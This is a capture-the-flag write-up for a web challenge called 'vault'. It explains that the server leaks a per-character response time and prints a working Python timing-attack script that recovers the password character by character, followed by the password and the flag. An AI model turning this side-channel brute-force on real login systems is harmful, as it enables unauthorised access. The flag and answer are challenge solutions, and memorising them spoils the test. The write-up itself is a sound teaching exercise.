ctf-writeups

vault

We've employed state-of-the-art brute-force prevention, hopefully there won't be any side-effects.

Note: reasonable brute-forcing is allowed for this challenge. You shouldn't need to make more than 1000 requests in total, and please don't send more than 25 requests per second.
vault.secso.cc 

Visit the website and try a random password. Response contains:

Incorrect password. Try again.

Response time: 0.00 ms

So it is possible that the response time is related to the length of the matching prefix. After some tests, every correct character in prefix contributes to 100ms in the time.

Attack script:

import requests
import string
import urllib.parse

password = ""
last = 0

for index in range(40):
    done = False
    for i in string.printable:
        url = "https://vault.secso.cc/?" + urllib.parse.urlencode(
            {"password": password + i}
        )
        r = requests.get(url)
        for line in r.text.splitlines():
            if "Response time" in line:
                time = float(line.strip().split()[2])
                print(password + i, time)
                if time > last + 100:
                    last += 100
                    password += i
                    done = True
                    break
        if done:
            break

Correct password: H8iObjIcSr.

Flag: K17{aLL_iN_go0d_t1m3}.